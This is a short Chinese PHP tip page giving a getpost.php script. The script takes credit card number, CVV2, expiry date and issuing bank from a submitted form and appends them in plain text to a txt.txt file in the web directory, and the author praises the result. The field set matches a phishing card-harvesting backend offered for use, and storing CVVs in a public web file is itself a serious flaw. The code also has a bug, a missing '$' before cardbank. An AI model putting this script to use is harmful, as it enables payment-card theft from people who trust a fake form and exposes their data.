php代码收集表单内容并写入文件的代码_php技巧
至于表单内容，这里就不多说了，主要是表单的action="getpost.php"，也就是写getpost.php这个文件。下面就把这个文件里面的内容贴出来。
//定义要收集的表单内容
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'];
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//定义收集的内容格式
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
//定义文件存放的位置
$compile_dir = "./txt.txt";
//下面就是写入的PHP代码了
$file = fopen($compile_dir,"a+");
fwrite($file,$content);
fclose($file);
?>
最后会在当前的目录里面创建txt.txt，并把收集到的信息都写入此文件中，效果还是很不错的。
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